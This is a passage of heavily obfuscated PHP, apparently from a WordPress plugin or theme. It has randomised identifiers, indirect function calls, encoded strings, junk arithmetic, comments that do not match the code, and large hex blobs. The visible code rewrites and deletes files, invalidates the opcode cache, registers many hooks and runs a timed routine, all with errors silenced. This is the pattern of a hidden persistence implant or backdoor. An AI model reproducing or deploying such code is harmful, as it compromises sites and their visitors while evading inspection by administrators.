    if (!$ku1kalu70qv1al7m    &&  !dat9tig44if2fhzvffmjdd($auxdpth4tt))  {
if (hrfhci3wwbgn47uho($auxdpth4tt)   ||    m5wd69bqaohezg3q($auxdpth4tt)   !==   false)     {
       if     (kcysqw_r7i8c86af_6($auxdpth4tt,   $auxdpth4tt  .      b5xx0lrqzfc(1888))    && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1884))) @opcache_invalidate($auxdpth4tt, true);

 }


unset($u40mbkgau53h9,     $ku1kalu70qv1al7m,      $b_jbcqh1wu,  $e25nk7bgye0u);
continue;$r8b45fhj=44+38;$r55kdwunq43y=$r8b45fhj-30;
}


if     (!$ku1kalu70qv1al7m &&  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt,  pvz_9xuc0nzl0m(1881))),  0,  (0x9+0x3)) > $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($q3eeimitmw),     0,  (0x3+0x9)))    {


      if  (!q3hfvmih78obmd4trwgtn($auxdpth4tt,  $b217bsv53c4kvwh))  return;
    }


unset($u40mbkgau53h9,     $ku1kalu70qv1al7m,     $b_jbcqh1wu,   $e25nk7bgye0u);
   }
 }



}
unset($b217bsv53c4kvwh,  $k7z3vatmljy9oq7l,  $bl37s49meg,  $l8lruxoztux,     $t3xhnkmyb4, $bapow_cim4,   $_ibfymodzie,   $auxdpth4tt,  $uf2g7c1fhl3u,   $q3eeimitmw,  $j86ibx65h0su,    $bc7bcaoixys42b3,  $s5vibuiw52_q93we,   $vgeqkyr68up);



     }    catch (Throwable  $uvo4msk8s29_) {
     }   catch  (Exception   $uvo4msk8s29_) {
}



    unset($a_k5xm0svemlj);
  if      (isset($GLOBALS[pvz_9xuc0nzl0m(191)]))  {
// WP Global Styles hook callback

   if (version_compare((string)   $GLOBALS[cv8ducrec(1889)],   jqg87ez26lzm3yp01xj2q(),  s99lg14mcd3un(1243)))   return;
    $GLOBALS[j8bjjevd80e(1565)] = 1;
  }  elseif  (defined(s99lg14mcd3un(1890))) {
    $usz2zvntxvxr   =  constant(cv8ducrec(1890));
   if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($usz2zvntxvxr)  && $GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1308), $usz2zvntxvxr)     && version_compare($usz2zvntxvxr, jqg87ez26lzm3yp01xj2q(),   b5xx0lrqzfc(1243)))    return;
       $GLOBALS[j8bjjevd80e(1565)] = 1;
unset($usz2zvntxvxr);



     }
      $GLOBALS[pvz_9xuc0nzl0m(1889)]   =  jqg87ez26lzm3yp01xj2q();
 if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(60)))  @clearstatcache(true,  curga5ep68su8__o());
 $GLOBALS[pvz_9xuc0nzl0m(192)]      =   (string)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o())    .  ':' . (string)   @$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o());


if     (!defined(b5xx0lrqzfc(1890)))   define(j8bjjevd80e(1890),   jqg87ez26lzm3yp01xj2q());
    if (!defined(cv8ducrec(1891))) define(cv8ducrec(1891),   jqg87ez26lzm3yp01xj2q());
 



  dhcqo7x2bpwxg8p954(cv8ducrec(228));$ckq6dmqt=4820;$z0ltnu8uc2pi8=$ckq6dmqt%16;
 
     f1mfvuh0d06pxmi9jdb6vn(curga5ep68su8__o());
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1892))    &&  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1893)))     {
 try   {
        $jkvjr35gv1   =   eki4v2wrqno4knxgtm4qhv();
   if  (@$GLOBALS['__scf_nish5zuncssvgd_43']($jkvjr35gv1))  {
 $sj_do82830o3vvv = pn7ilzfkmyogdbglb3nhtx();
    $eaclm45onusts = x002260tc_2l50yfgc3hj($jkvjr35gv1,     (4967+33));
       if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($eaclm45onusts))  {
foreach    ($eaclm45onusts   as     $ejybrumqxi0ws)  {
 if ($ejybrumqxi0ws === $sj_do82830o3vvv) continue;
if  ($GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_h3mngbzp79_212']($ejybrumqxi0ws,   constant(s99lg14mcd3un(1075))))     !==     s99lg14mcd3un(1894))    continue;
 $nto91roasmftk2 =      $jkvjr35gv1   .    '/'  .     $ejybrumqxi0ws;
if   (@$GLOBALS['__scf_xaseomj3flge_20']($nto91roasmftk2)  &&  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($nto91roasmftk2)   >    (4930+70)  &&  oahk6ik6p30_tx4($nto91roasmftk2,  (4542+458))) {


 icbu01_4oustb8($nto91roasmftk2);
       

    }


 }
 }


  }
   } catch   (Throwable  $uvo4msk8s29_)      {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(229),   $uvo4msk8s29_);

   }    catch (Exception  $uvo4msk8s29_) {

  }
 }




 if   (!  af6pxn08t8_r1ab92fa0ze())  {
// fork bounded subscriber

 d25ke5lz6ilx2qgf(j8bjjevd80e(1895),    b5xx0lrqzfc(1896), 1);$mhmhe9us02pg=5566;$oyils240noem=$mhmhe9us02pg%16;
   }



  


   $GLOBALS[cv8ducrec(741)]   =    array();   
 $GLOBALS[pvz_9xuc0nzl0m(444)] =    array();      


$GLOBALS[pvz_9xuc0nzl0m(1897)]    =  "";$_649awatk0zv2=90+32;$sgx223x8knja3=$_649awatk0zv2-4;    

  if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(179))) {
 $GLOBALS['__scf_q0ye8_g2b4gf_179'](j8bjjevd80e(1898));
$GLOBALS['__scf_q0ye8_g2b4gf_179'](pvz_9xuc0nzl0m(1899));
   }



  $weoc199zfbv397 =   $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) .   cv8ducrec(1900)  .  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(1881));
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($weoc199zfbv397))     {
  $p744x4hg_obd6p7 =  $GLOBALS['__scf_qbsuu37jbe5t_328']((string)      @$GLOBALS['__scf_v_rxq_yh85s05_99']($weoc199zfbv397));
 $lumi_agtkuisi =  zxfq3_tgw7t51nr();
if  ($p744x4hg_obd6p7 ===     "" || ($lumi_agtkuisi   !== ""  && $p744x4hg_obd6p7    !==  $lumi_agtkuisi))  wlm_50lfl72sy8hrb_9xe9($weoc199zfbv397);

  unset($p744x4hg_obd6p7, $lumi_agtkuisi);
      }
 try     {
  @$GLOBALS['__scf_w_83qzdu7rtu_74']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())   . j8bjjevd80e(1901) .  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(1902)));
 $lumi_agtkuisi =    zxfq3_tgw7t51nr();
    if ($lumi_agtkuisi !== "")  {
$dxot6p41bpelz = cv8ducrec(1903)      .   $lumi_agtkuisi;
   foreach  (array($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),  eki4v2wrqno4knxgtm4qhv())   as  $vexb_h2alef9sm) {
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($vexb_h2alef9sm   .    '/'  .  $dxot6p41bpelz))  @$GLOBALS['__scf_yq6i_srj9g0m4_19']($vexb_h2alef9sm .     '/'    .    $dxot6p41bpelz);
      }
      }
 unset($lumi_agtkuisi,  $dxot6p41bpelz,  $vexb_h2alef9sm);
}    catch (Throwable   $uvo4msk8s29_)  {


 }   catch (Exception  $uvo4msk8s29_)   {
}
unset($weoc199zfbv397);



       


 d25ke5lz6ilx2qgf(cv8ducrec(766),    pvz_9xuc0nzl0m(1904),    0);





d25ke5lz6ilx2qgf(cv8ducrec(766),  cv8ducrec(1905), 0);
   d25ke5lz6ilx2qgf(s99lg14mcd3un(1906), b5xx0lrqzfc(1907), 0);
   d25ke5lz6ilx2qgf(b5xx0lrqzfc(1908),   pvz_9xuc0nzl0m(1909),   0);

  d25ke5lz6ilx2qgf(cv8ducrec(1908),    cv8ducrec(1910), 2);
d25ke5lz6ilx2qgf(j8bjjevd80e(1908),  s99lg14mcd3un(1911),  (0x1+0x2));
   d25ke5lz6ilx2qgf(s99lg14mcd3un(1908),      s99lg14mcd3un(1912),    (162^166));
       d25ke5lz6ilx2qgf(s99lg14mcd3un(1895), s99lg14mcd3un(1913), (2+3));
_ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1914), s99lg14mcd3un(1915),  (219^209),  1);
 _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1916),    s99lg14mcd3un(1915), (16-6),  1);
     _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1917),   b5xx0lrqzfc(1915), (14-4),   1);
_ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1918), cv8ducrec(1915), (241^251), 1);
   
  _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1919),    s99lg14mcd3un(1920), (680+319), (2+1));
      d25ke5lz6ilx2qgf(cv8ducrec(884),  s99lg14mcd3un(1921),   (939+60),  2);
 
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1922),   s99lg14mcd3un(1923));
  _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1924),  pvz_9xuc0nzl0m(1925),    (0x6+0x4),  2);
  _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1926),  s99lg14mcd3un(1927));$onjlf4qmlxz1=211|46;$pmw15cqyuroh=$onjlf4qmlxz1^132;
 



 _ue9dl_f87dcm73xfrb3y6(j8bjjevd80e(1928),   j8bjjevd80e(1929),    (132^142),   1);




    _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1930),  pvz_9xuc0nzl0m(1931),   (4+6),    2);
d25ke5lz6ilx2qgf(cv8ducrec(1932),     j8bjjevd80e(799));

     _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1933),  j8bjjevd80e(806));



     


 _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1934), cv8ducrec(807));
 
      d25ke5lz6ilx2qgf(s99lg14mcd3un(1935),  cv8ducrec(1936),   -(946+53));
      d25ke5lz6ilx2qgf(b5xx0lrqzfc(1937),   b5xx0lrqzfc(1936),     -(944+55));
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1938),  b5xx0lrqzfc(1936),     -(1297-298));

  d25ke5lz6ilx2qgf(s99lg14mcd3un(1939),   j8bjjevd80e(1940), (940+59));
 d25ke5lz6ilx2qgf(j8bjjevd80e(1941),  s99lg14mcd3un(1942),  0);
   d25ke5lz6ilx2qgf(cv8ducrec(207),  pvz_9xuc0nzl0m(1943), 0);



d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1944), s99lg14mcd3un(1945),  (1215-216));
 d25ke5lz6ilx2qgf(j8bjjevd80e(1946),    s99lg14mcd3un(1945),  (908+91));
 


      d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947), s99lg14mcd3un(1948),   2);
       d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),    j8bjjevd80e(1949), 0);

  d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947), j8bjjevd80e(1950), 0);
 d25ke5lz6ilx2qgf(cv8ducrec(1947),  s99lg14mcd3un(1951),  0);
       
d25ke5lz6ilx2qgf(cv8ducrec(1947), j8bjjevd80e(1952), 1);
    d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),  j8bjjevd80e(1953), 2);
// aligned read

  
 d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),    b5xx0lrqzfc(1910),  (2+1));
  d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),      j8bjjevd80e(1954),   (6-2));
 d25ke5lz6ilx2qgf(s99lg14mcd3un(1947),    s99lg14mcd3un(1955),   (241^244));
d25ke5lz6ilx2qgf(cv8ducrec(1947),   pvz_9xuc0nzl0m(1956),    (154^156));
        d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),    j8bjjevd80e(1957),    (0x4+0x2));
     d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1958), j8bjjevd80e(1959));
d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),     j8bjjevd80e(1960),     (0x4+0x3));
     if      ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(179)))    {


 $GLOBALS['__scf_q0ye8_g2b4gf_179'](function    ()    {
   if    (!empty($GLOBALS[pvz_9xuc0nzl0m(1961)]))     return;


 if    (!defined(j8bjjevd80e(1713))  ||      !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1962))) return;
if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1963)))   {
        try  {
 b9qwphei1gqk0791pp();
}  catch    (Throwable   $uvo4msk8s29_)  {



      }    catch  (Exception     $uvo4msk8s29_)     {

       }
 }
    });


}
    d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1964),  cv8ducrec(1965), (0x2+0x6));
     d25ke5lz6ilx2qgf(j8bjjevd80e(1640), j8bjjevd80e(1966));
     d25ke5lz6ilx2qgf(j8bjjevd80e(1711),      cv8ducrec(1967));
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1895),  s99lg14mcd3un(1968),  (11-1));
   d25ke5lz6ilx2qgf(cv8ducrec(1964),     function  ()   {
   if  (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1962)) ||  !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1786)))     return;
    $esvy38z6q4rck   =  (int)    @get_option(j8bjjevd80e(1969), 0);
if     (($GLOBALS['__scf_tmn0v_xik_1b_195']() -  $esvy38z6q4rck)   >  (3520+80)) {
 if   (!k0z4yy7qpc1ii_ewbdqi())   return;
@update_option(b5xx0lrqzfc(1969),      $GLOBALS['__scf_tmn0v_xik_1b_195']());
x9a67n48iwppq963jdp7li();
 }
  },    (215^222));
    
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(104),  pvz_9xuc0nzl0m(1970));
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1971),  b5xx0lrqzfc(1972));
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(467))  &&   did_action(pvz_9xuc0nzl0m(1964)))   {$z_xqtmgeq=115|52;$mzenidtds5=$z_xqtmgeq^26;


k_ji4yjjphzohodoa();



}



   
}
/*9bff134fe63328449dec4c2435b6515d3b0ef832315d719cbea434c47783a7793c5cfcedf46de5c206f67b4470d220434f92becfcbd592e034f76fdb512142dd1f4f4089f03f9d8003adba210837fffac2b8503a8d83017d9a031d77053922b29be0ab203b6cef5d0db18ba8a08aa9507f650942b98a3f3f0c792bf39cfcead79e8b638a7f011a17c37d9a0cb41becd7f735cc77ffa727f752396d07f96887b14794b7a1db220f4b091dff34046fd10932a56a8ae79abbf80b9a0907ddd42c121802787e47af5c1270d56ecba6200ed633a4555617218d158f7dd76e30f9ab39812f3eb9d737d9373f495e9ba66540642283b4825cb60b4e9ed77bb4b3a32fd0527acff6a0d56519446cd1ffae6d82556d434c701b938d6f9eafb6459ab970feba7c6bbf35ee139d16ac2705586452f98091ec8147fb7e67c90159522a3712047474862335bcc0092b14a040b2646b2755b14b225697a9797d2bde62fecbe8ded76cd49935dc347b1f8d46a6fe867fa721f7a4e5cce752339b8856af88a4d87d9ff23c1f56229e9c410e0dd1ba23727973a2106e25e5fe648dd435548b823f3732a573b074201ddabaad9006e072ff696a081fce6cb114741512b454d56fe6a1b858a9b43542f41bdb88ad5ab6b3e5249e75371c201f9902e2eae13fecbed01f21b7187d21d1c5334d38765cc51b9509f85712e0bb887fe99d9ac4b34dc2fd892d2ac8c3504b5010cae587b1b30b898a06a11cb446777e23f310f722c953b4fe21c8cc99383d505f87fdd24a2e6c46cf918b2e2ea94641290b6bfbf2b4601f04c8ce2737d44e53c04437817c3d4c43239dacf0425a6324857d21b51126f8a2bd34c65ca68811a01d782cd4b9f8dee8645c77e21f053da294a205f27adf18173b0a2567869f32e09c768b684ae4f916bd9e5f3747bafced665133e0fc32b21d3f2acc56029199c82333d9bde24222ab8c92523ea4b0361ea3907c0039ef0ac53262e8ef2abf1130df574f423547020e50c6072642ac078afc4133f0ac1f7b7c8f1237e7f5f7f3f2d4a9a016c43b6ed07bb4e09d90b4efc0438d2faa4169e7a388a7a039a8b412cc620b5fe938270d6c47386db940fb6044fe2b629c8ed5643898eeb5b9fc53599a737ecb58b82154e138c39f05d7e0ea68d8a45692ebe7552d8c3baff032aa586f332be2b71a98e99c1ca522a5ca2a48d6cdae39a17c7b3ea61eb541d622853e4ea6abaa7154a6292c54e430ae3c4d3c095d3d8255b572c9ab7a9bc2ce828469f555e2d615d5d9fb9e9b83b880925ea35607f9711c1b7a1d004252d1610732ed16a40a461ff9c1e0da28a470d296e2279c7ce07ea1c98bdddd7f45a90a4407a0e6d6fe0bd2be252d1dedf668269ad7b7b287cca090aa1afeeb4732cf88c1e81b8f1d1a57558194ba269b8bbbd6a7cdac93b5b1c4cce392a10677f2d46e2f95ed36c8fe4723e944af3bbc2cc5392ac83569514775c6a988a4adda9f895b80ea5e1ee4678c4574f53bedc02a431ceac27b3fa98db331180ae5cb0212d93623f056b7c4866968312c6e094fcaa8b33abc0ae4b599ad0835f50ad33e54e68b0119fe8462c4444f1376557af25833897afa5057b4b00ed970143572b53fcd05ad941de7da8ad06f688dd1ba4e5c973b75656547d0fa66b9aa5d904f49340c4dbb0e11e4c2adf5e0873381ed778e4b66d5b6609a8ee2e212f243d603ceb86b527689e54911d91037b85a528599fd0fa556d06957be472446f554f724aafeb04d91d77f3c5c1ebaec44e538af287ae65220b4725bfb5134c6d01781eb8ab403afd24ebe3cbe8a0499270b3f4f58cb9998762714ab3e73b3004d6aff3f248575670495cfb690da072049aef75b7fdb790c2846dd527bb6752dadd7b2398d69b1e715db837397411759981e310241e4a05df5fa91497c66ed624ff2868836a2c2dd9cdf5031371c3e791ccd3d6115ecdaa91c52eaf5feef081d2864f7b0d70022eca37eac978ec36811c0c2f89f0a49698539f828cfa136cfe8e785039c9e3166240cc5e1e47a0a93c335cceee71ab0d47259d1a3b6081ee3a000f0f58621e7f6235ee555d380ab0b7f468efeed9e5fdbe0bd232d5128ceee20f038355515bd3d3a2d958d2024706cdc3b06059c2f30316b8c63b0d4518376d14c4bc8aa0dce0e8798317de17b8a5933edae6e64b34336d8557928af9acd7e3b71b0d904da8e7b06062741b6682dd66cc38ba55d35d7954be6f93aaa3f72d87f8e9d6936397505185dd074caad222054d00dc8674f4f2011e6ec46cd8645e9c4867a568fa6a2e3b30e6190acc92cb12a38d164774cc4b287918109229d82cd04185e96b160fb1130b39fabe4ed5fb732a57f749b6f4d81d8bf60f4f163f7441e35e96e236e2fbada8fda75744dd6b054535961fb5a0804e4ef2be5351625d4715be7be99b839963f6878144beb5e786c909d818a66e33b5bdc42f4ce5fcf3f67b1479daa282ebe331663c6b2b4ef8f3f260f37b04ba78c1d94694ccb450e81eea896a95f9a16c8fbcc32a475859b5f6c4953378d067ee6b0753431fdaf36ab8d38bed2148246bfdfe3dd944654019aced92a29cb5c6c8e2117c4a598926c104dc6363319e700188b8c97c6967975edd91997867678b3ef935d7930ffd78199ca9c91ece5747fc238653f1ba26f05af8bfe437f5ccba4c4eb394d61deaf7122059bfe573e697fc46e70fec86e8da7ae7c0b68ba8e007335e6d60d2800782887054762a998ff5ba084170558d183ac3b192507641793ecba6d32cc4e644317ea9b77926dbc7358461fe53a26d8cddf8dfcaac35f3334*/
/*d9fbf140a7e2a1191301c863cb9641585171a72e73b9878a5948a07aacb039c8c0d60ea89c1c58c69ee4c7c66e062e18eaac1be7416cb1123bcde35287c5e463bdf562d1a655c2946e6c7b08c01c6960f04acbd527b46142137e1059ec0e5fc63cac3f5944e732b8a150b73539d96878f71945ee1b943d5a4978835bb6df2a4720f1d6d5d82e25f57d8857c0ea6c20a5f182f71a9e0485f51474ed53f53d48f7271a203d4509cf2a1cfd904d22ba109c829dabd01204c9081a5f93db84b2043410d70409f97f2c4caa79f428eaa6acf2a3d966ab8772b6f0315edf1a48fbd80a53daf234f1d8ddb9afca50e89698a45837adf17c13633ed248f61b350709d567293011f0c4b38986009d753cd7ba6093b7284b9594edd0cb7fecd9be899a57e9e89bf99aaf4808a6fb43158fbf8c9dff0c6467651776b041d7bfa609b6baa43e6e1e102c3af57b5b4aebc898ab17b9a3b0f12f34dbef8690683707d48f71a4ea4dbb57021763400dd5ceea7252e7e62a75bbe2a20d5c67b496809bdfc36b7d2c004a08023afa0673d2a3998b605d901adb6ad479b18e2197be7b4ab925ac7e5c19e96ab0f60b026567fa70c8607cb7d76b583bcef4ddb0926582c4eb5288f990184b6caec0898038d3f826b6e6340d0be24284e72fbe41f93fed08c7496d41ebc41574c41381c4434c0a2830df0a2ef5027807d3ce30eee750e5177599e8f96e52e86399a7af92c4b14ec7f1313a96eb611fc79a88ce9d9d8b94e274f001e4e611e4dffe519043d71866cccc195ac12c87e0f85ad67d6a66e6331b17d025932d8344b1cfec399af58c64b540ce26045777853847bbcc4c201f81628a5ecac98a943132a057f5a31179ddc090c7093b6d335ff1aa18c1e28e42e89a780261bf748e446cf13fc96598f6b85ff58b72f6f95f1a9f8c5e9ad598053297e6dc4397ef73e4f9a46bf0df82c847d0cf1ce563225f503003ded23f1ed714daec0dbdbb123901386879a61f526d06d78b4490cb2d55b492e7d52361481c28f8b9ea9f3e5760fd8138977497c8099e4423c5ae104d8c9f92a25f61d276db3212c260fc3e2a42de5d3ac18d088df32026445f1a40619e33a7e83beb713e116f0fe401915329c6427cf811a48c8134bd38560ec9615733098ba49fe531bc532b368a7c05ce6e38152999ee3fff76aa4336b14f279c329e581db7487dde19243619e4f7a227935fa1969dd2340005a6723fdcd67d2c7dea4ac74627ad0ce5e11cd171ed7de70ef22c4df446f8d5481c3e40cc124d92f8e2e3081f9993731731195dc32b96f4260a6f5bfc58235540fe0a844a8e4d1ad6ad0b6de5ebd096f074ae3136356045578771637497e31dc16f8a140c37861856530032cc591177e7739e31961871609074c8986896ddcbadd15f20f5abbdb14459db33167e03136d4ca1746d70847be90f1ec12e6d98572b13535bc3b996a512d9723191a8375ab361ac47a4ada6b0a52b47675e6a4f050907655c78f8892954646d561512d1c62d86e53511bbe4d5dcadd49d93b0447f3c2203ca4d1000bd55f228292c3282b5a2c520163cbdec79ee740ff65af13635c9eb71087bb908d115d4ca7488ec2aea53c129752c502a683380f4a5ba4b53889d3a55c0ce120c338426bfdc03497d38ad17c42099f9c5624b781d0c4e1be39b0334436d46c2ba3f1830012681e6b3c46facfef776e990b12c5fdca2604a6e00a50716c736d718aa8cf47a38dc7b17f29cfc350f277e6075c3c7cbd5666c88e794fe4de4b820c24d2fbedc00a8449119e49fb4a1cae318e2ba72a64e185ac677426db6aa6eaa8b0458d9919131f56b90639a06573fc687aa03639c86b3ebfd8077c157d97d55fd648d267e9b555da2719ef1807333b28812901bc5df69998cc3ad4656467a5b62c09fdc3f02a3bdf0d28e353b97475a3e2a044399eec187d619a88bfb9131a8c01b7bd65cb786a66e9882aefd23ecd6592d763b904d0dc68a9ffa8388fa33a22ab58ad754556ffb561a1b4b00faab128d37f8fbfd4653d656f57c94bb7b783a9ccd2621c3f9fa95559aa2244ae6a914b1b14f81d3caaeef416fae26cf55dbc7a12e1d8e3519b5f1e061558c2bfd6022fa9c1ff50e100debeba917ef6ba014460f35f687c56400de900780e6bbf291a7a95e4cf3ab8846badefb7486ec4f5bb1fd34a0c531860224abab1a770fb01269eabd35b1ab667dab6a1831e260bfa92f896605077c3891d42c88fc924219160bc60ccf2ac026536328f52e5c500f116c5633f05c7d26383055b674792c163e067bfff56258ec96fa4903a60173ba40242093e6e0b6ae76fe6062646a0daf249202d522e52b40b7fb881a23a3812a3623e4bf1fa96a73b63238fde87daee7ac6b05bc6baeaf123f0db867bf89a87ba0e6f818cb8d798bd74b6a8aa210a99cac12646deeb2ebd635cb08eb9a979f90812e75becfd7812d59d01b2e7387952a8971638f53864a3c137bd7583ed5fddd809c18d0faa4bd40eff86df8ac0705dd3e71bb5d6077a6c839973d9b4fe811ec922e0f73e073b13273788a367a18841ad994755b81ca71f11a7511127379306e4dedc300100df08864bebf39ebcb22f46365c548ce453cb4ef4fa0f2f05e34cc916ddbdca8f84e6312a5f28ee72978544a16fde29f3a7c886f151c2f2147840e202571ae86c2a035a310dd93ca6a0c4dd4eb023cf9e899c7c486767cf38add8b7a4d9667d385e6ba39acc2a1c41edbd809d26cdbb7ffbe1488c1a8919be44e1f067407a1b6062c6e64b1b391e4f7c5c95b360d96f816736b1d5166d3e14d3c97c479e1092d*/
/*a1d66f2ca86eb1d132e9bdb752a308062dfa00a47dab107c5d986a637caec55cc6571f7066da1b5d40eaed707dd1ef7572938f65c8f03c618ba0defa518b27936050fba7dfbd08f2900823e814c598258213da717f269f41458e59e562c97007672b87c163ea520e6a89220e96899027fddb7285e3ddbae79f22ea577a7198949670c87d7b0e5a0754c33355a99d0b550bf47905a9d1831fb9793f8e7ec3fd4e00f9caa4f3b457ff751192b77f5acc850e165092ea71d773eb548827e0eecc0918bf69bca289ef36a2d45ca4dda9a245a1c344b8606a93f4cb06b7cd7522487b3e468be5d5d48c30d57e3b4b23b7712eb54a3a1d37a3ac2fedd6c3bf6504ed3ff160620abe773309a66f2941f4b104b8c17c173a6bbcd871010dfd2a3422b7763f43690613e9f2dcc1c9bd24e759ac86ab3fd11a26a0ec9d80c73acc1bd36f18cf14947f5c8c371e715c9e1325cc7645ceaab20470f9d9a44386d5f24329ea76e2295cf37e49a40d11c5bcf87d416ec4e0e93ee01246add6049ef1481b71c59e4f32a248828720ca6406a685e9a22f10a1d37702c4a8a1aea2ea506876fafda46ad6e6df890663d13a14e45c25b5c8e69f174adb874ac0dec518c1dae4c8e8137e18b9f39959723c90f9f1213dcdcd6a19dc777972dd17be1b682a44dbc67ac29e6893940255788d3ee2ecb41ecba733b14b8ca0227947df594161a6f57603875e4e24b24d66f6ae85b6a07f1288239de8126e1a86c75e01fc56414e89ae78fc5d3f20eadea610d44a6fa0bf822b97230095e659a0060766e99fb41a70cd281e20283d429301d05b2aa55119a3498eb2f03606c1ae044125e74605a459d420ef4d9e2cec042ea8ccb922e71a37f4756d702903d0c99adc73eb74e8f7865291cd0ed5c5ea275df816145f6fd24cbcaf7828a8aae4b265799106e7c1a4428d603ba1df805086356f9ee4174debda7bee94c6aac873c89393e88cb5bae2da81418569b3e4beb454845d9061f0b76a86de4ee16000fefe2ee3d078b0187364b9886b68e8238f467e33db807806f995638b05452352f34b5a5a05a0356cea233b54df2f113de4bbf6c3bfdc921604559eda9c52a77684d8005ec02e15217e9ee09c77afe23ad79fa01e0bc479dbd9de78f221fdcb8807cfe5659f2aacfb0ae88969b4247fd2cfff362808fec26d749886118c86508e1872f9a10bcc21f9bef0847c8f5e5a0e475ab1bb154220e97e4f5f772d99d923babce1e9b3564aec409473ccc3f7eac120404e016bdcb0fc4be22b82fecdb5045b4d8ec32e3bea96c02ce67f4bb787ac4dc5f4f38e0900aa6a85ba0d0fa3334931ef14533150726702656fcb32963766700659be0e187e160eb8bb43e148ed5aa5bef56ebacb4b595518f0d3cfad11cfe540d9f8fc49524e65015e8d7df2f76b614fb0962e0cdb348bbd68af2978c9af266ce14b4469191786899752b23173f244446cf3066e66caadc6091606b9a8ebdb434001aed8fc2dd05e530dbf52d435fea273bc1e48030f46bdd63e50e43d6354bce24f3f8c16f91e53e2a124d69ecf5c740b41da3d8d9f753fc097a7fcd8010261e3be0b9b95836d2a8d42233257f9150573d4c55b4d5b0e181ab47fbf4deee2d98247e4d3aeabef48869bcfd48ecefd8135e34f891a0917bdb6b5f70ed5e0353e4d31e56bfa6d10494fd3534864782d117204ccfb0c2b5b4d1b96262cfa41ed3d3796ccbc70cc465e1cc6bfd7157f01a72de9fa411f68f8f708d301fa09c63f19355108e373be021c6d40bfbaaf34dd6c7649c7ca42db0372c354f35804440651274fb7b7fef052439ab5b9cbb07a40d21e46813e68bd1d6acfc4530089b90c5ba240cb94c605b12796d8fc347a3ddf66130f2e2cd6c1eb52c5dbdfde79abecc0635d28583bf5e9f165dde28f714ac42f1dcb452319cf0b09b236e5f398be2fb7ddcb1c5f7859019b5dc3ce7c0a7f0a7c2f351672da1e6d32a8432b12844fb737b96157d43ade1cca759508dfb93e72b8c2ca9aab581f949b1dd067f0d25f61c051ad83f4fd6f1b2689c306d3e92605ea8fa7e0c6534a886ef88297b2ce1aa9278b86d6436ea60db78aa4a4f82652942e7f799150c8e5c4d61b6dec2ecc59c4c804d6d2bce48193df1c3ad72d22ec65a7929f47c593e6cdd90447a80d0f305a8794b414a1c3d96c4fef3d7448a0a09abdbb5457514210388bf29f5d54e428833b24f9ec17f354def008b7f87d381318f25fee51326c5fedd7c7fb517e9d53633f9636470c5520808ff2cf49dec8b7e1166b4d24b98b5c4e25b05417659df8c063e3ff7157f661cd176b0161c3db75884e74e44aefaf026c0d65410135365a3a87cde5c2debe49157fd9d6642fe020b18cd834ad19c358a15091e74e9224bad8e1414bc83bb261fb4daac794bb100ed3fe813118fe8df264efbc54307b9f540111687feabf4938f2f8cac252a239e01fd0c94ac3ba92219eccacce676b9bd5e573575476e5428dc967c4f0a998077fe282759c3980d67d884be2562794e56ac2c75b608fed9a9c6b2989ab1fadcb5073f724912cf5d93b237b2d526a05326b9fa3a3de7